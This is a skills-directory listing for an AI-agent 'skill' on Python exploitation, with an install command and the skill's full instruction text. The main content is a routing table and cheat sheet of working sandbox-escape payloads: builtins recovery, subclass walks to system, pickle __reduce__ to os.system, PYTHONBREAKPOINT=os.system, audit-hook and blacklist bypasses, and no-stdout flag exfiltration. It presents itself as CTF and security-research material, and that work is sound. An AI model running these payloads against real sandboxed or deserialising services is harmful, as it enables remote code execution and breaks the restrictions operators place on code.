Use when escaping a Python sandbox or pyjail, bypassing import/builtins/attribute or character/byte blacklists, recovering builtins after __builtins__ is stripped, exploiting pickle/marshal/PyYAML/multiprocessing deserialization, Python-template SSTI (Jinja2/RestrictedPython/str.format), bypassing PEP 578 audit hooks, crafting or abusing CPython bytecode and code objects, exfiltrating with no stdout, or reversing .pyc files. CTF / security-research focused; covers CPython 3.8–3.13.
Scanned 9/19/2026
Install to Claude Code
npx -y skills add Lu1sDV/skillsmd --skill python-exploitation --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Python Exploitation?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/lu1sdv-python-exploitation)More formats (shields.io, HTML) on the badges page.
---
name: python-exploitation
description: >-
Use when escaping a Python sandbox or pyjail, bypassing import/builtins/attribute
or character/byte blacklists, recovering builtins after __builtins__ is stripped,
exploiting pickle/marshal/PyYAML/multiprocessing deserialization, Python-template
SSTI (Jinja2/RestrictedPython/str.format), bypassing PEP 578 audit hooks, crafting
or abusing CPython bytecode and code objects, exfiltrating with no stdout, or
reversing .pyc files. CTF / security-research focused; covers CPython 3.8–3.13.
---
# Python Exploitation & Sandbox Escape
## Overview
Offensive Python: breaking out of `eval`/`exec` jails, restricted unpicklers, template sandboxes, and audit-hook cages. Core principle — **a sandbox only removes *names*, never *reachability*.** Almost every escape is: find any live object → walk its attribute/frame graph back to a callable or `__globals__` that still holds the real `__builtins__` → import `os`.
The single most common mistake (yours and other models'): **hardcoding subclass indices like `[104]`.** They drift across version and import order. Always filter by `__name__` / predicate.
## When to Use
- An app runs attacker-influenced code through `eval`, `exec`, `compile`, an AST allowlist, `RestrictedPython`, or a custom pyjail
- You face an import / builtins / attribute / dunder / character / byte / length blacklist
- A deserialization sink: `pickle`, `marshal`, `PyYAML`, `multiprocessing`, `numpy.load`, `fickling`
- Template SSTI in Jinja2 / Mako / `str.format`
- An audit hook (PEP 578) or bytecode-opcode verifier guards the runtime
- Reversing or weaponizing `.pyc` / raw bytecode
**Not for:** defensive sandboxing design (the gotchas inform it, but this is the attacker view), or non-CPython unless noted (`id()`-address and subclass tricks fail on PyPy/Jython).
## Routing
| Situation | Starter gadget | Deep dive |
|---|---|---|
| `__builtins__` emptied | `().__reduce_ex__(2).__globals__['__builtins__']` · `print.__self__` · `(x for x in()).gi_frame.f_builtins` | [pyjail-escape](references/pyjail-escape.md) |
| `()` / parens banned | `@exec`/`@input` decorators · hijack `T.__getitem__=exec; T[code]` | [pyjail-escape](references/pyjail-escape.md) |
| dots banned / limited | `__builtins__=os` then bare `system(...)` · `str.format` bare-word subscripts | [pyjail-escape](references/pyjail-escape.md) |
| digits / quotes banned | `True+True`, `-~x` · chars from `().__doc__[i]` · octal `"\157\163"`=`os` | [pyjail-escape](references/pyjail-escape.md) |
| `_`/dunder/keyword filtered | NFKC look-alikes (math-italic U+1D400, fullwidth `_` U+FF3F) | [pyjail-escape](references/pyjail-escape.md) |
| `co_consts`/`co_names` stripped | use injected call args (`res(vars(), vars)`) · `__code__.replace` | [bytecode-and-internals](references/bytecode-and-internals.md) |
| AST allowlist | `types.CodeType` / `__code__.replace` · `__build_class__` last-builtin | [bytecode-and-internals](references/bytecode-and-internals.md) |
| opcode whitelist (3.11+) | specialized opcodes + CACHE padding (`dis._inline_cache_entries`) | [bytecode-and-internals](references/bytecode-and-internals.md) |
| audit hook (PEP 578) | un-audited sink: `sys.modules['x']=obj_with___del__;exit()`, `readline.read_history_file`, `_posixsubprocess.fork_exec` | [bytecode-and-internals](references/bytecode-and-internals.md) |
| `__import__` banned, stdlib reachable | `catch_warnings()._module.linecache.os` · `os.environ['BROWSER']=cmd;import antigravity` · `license._Printer__filenames=['flag']` | [pyjail-escape](references/pyjail-escape.md) |
| interactive shell reachable | `breakpoint()` / `PYTHONBREAKPOINT=os.system` · `code.interact()` · pdb via `help()`→`sys.modules['pdb']` | [pyjail-escape](references/pyjail-escape.md) |
| arbitrary r/w needed | how2python pure-Python bugs (audit-safe) · `_ctypes.PyObj_FromPtr`/`id()`+ctypes (CPython-only, ASLR brute) | [bytecode-and-internals](references/bytecode-and-internals.md) |
| predict "random" / hashes | `_Py_HashSecret` in_dll · PYTHONHASHSEED LCG · `random.seed(bytes)` reconstruction | [bytecode-and-internals](references/bytecode-and-internals.md) |
| pickle / restricted unpickler | `__reduce__` → `(os.system,(cmd,))` · no-REDUCE `INST`/`OBJ` · `multiprocessing` indirect sink | [deserialization-and-ssti](references/deserialization-and-ssti.md) |
| Jinja2 / RestrictedPython SSTI | filter-fn `__globals__` · `str.format` `{0.__init__.__globals__}` + `e.obj` leak | [deserialization-and-ssti](references/deserialization-and-ssti.md) |
| no stdout / closed streams | `exit(*open('flag'))` · `compile('.','flag','exec')` stderr · ZeroDivisionError oracle | [pyjail-escape](references/pyjail-escape.md) |
| reverse a `.pyc` | `marshal.loads`+`dis` · pycdc/decompile3 · uncompyle6-decompiler RCE | [deserialization-and-ssti](references/deserialization-and-ssti.md) |
| smuggle a crafted `.pyc`/bytecode | `MAGIC_NUMBER+b'\x00'*12+marshal.dumps(code)` → `import x` | [bytecode-and-internals](references/bytecode-and-internals.md) |
## Universal builtins-recovery ladder (try in order, shortest first)
1. `print.__self__` / `abs.__self__` → the `builtins` module (any un-banned builtin works).
2. `().__reduce_ex__(2).__globals__['__builtins__']` (no subclass scan, no index).
3. `(x for x in ()).gi_frame.f_builtins` — frame attr, survives `del __builtins__`; async: `…cr_frame`/`ag_frame`.
4. caught exception → `e.__traceback__.tb_frame.f_builtins` (or `.f_back.f_globals`).
5. subclass walk **by predicate**: `[c for c in ().__class__.__base__.__subclasses__() if c.__name__=='_wrap_close'][0].__init__.__globals__['system']`.
6. `__builtins__ = os; system('sh')` when dots/attrs are banned but a module is reachable.
## Top gotchas (the knowledge models get wrong)
- **`str.format` traverses `.attr`/`[key]` with no call**, and a *failed* format leaks the last resolved object as `e.obj` (3.10+). Subscripts in fields are **bare words**: `{0.__globals__[sys]}`, not `['sys']`. Hex-escape `\x2e`/`\x5f` in the field dodges `.`/`_` filters.
- **Identifiers are NFKC-normalized (PEP 3131); raw input is not** → fullwidth/math-italic glyphs beat substring blacklists. **String literals are NOT normalized** — only identifiers.
- **Audit hooks can't be removed, but plenty isn't audited**: `sys.modules` insert (→ `__del__` RCE on exit), `pickle`/`yaml` load, plain file reads, and any module imported *before* the hook was installed.
- **`CodeType` positional arity changes per version** (3.8 `+posonlyargcount`, 3.11 `+qualname`/`+exceptiontable`) — use `__code__.replace()` for portability. 3.11+ raw `co_code` needs inline **CACHE padding** or the VM desyncs.
- **`find_class` is pickle's only real hook**; `REDUCE` has no callable-side filter, and `INST`/`OBJ` opcodes call *without* `REDUCE`. `multiprocessing`/`Queue`/`ProcessPoolExecutor` silently pickle args → indirect RCE.
- **3.13 PEP 667**: `f_locals` is now write-through → frame-walking becomes a reliable **write** primitive into a caller's scope.
- **`breakpoint()`/pdb runs even with empty builtins**; `PYTHONBREAKPOINT=os.system` makes any `breakpoint()` an RCE.
- **No-stdout ≠ no-exfil**: `exit(*open('flag'))`, `compile('.','flag','exec')` (filename echoed in `SyntaxError`), `raise Exception(flag)` to stderr, or a `ZeroDivisionError`/`IndexError` char-oracle.
Each reference file lists exact payloads, version notes, and blacklist-bypass variants.
Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.
No comments yet. Be the first to comment!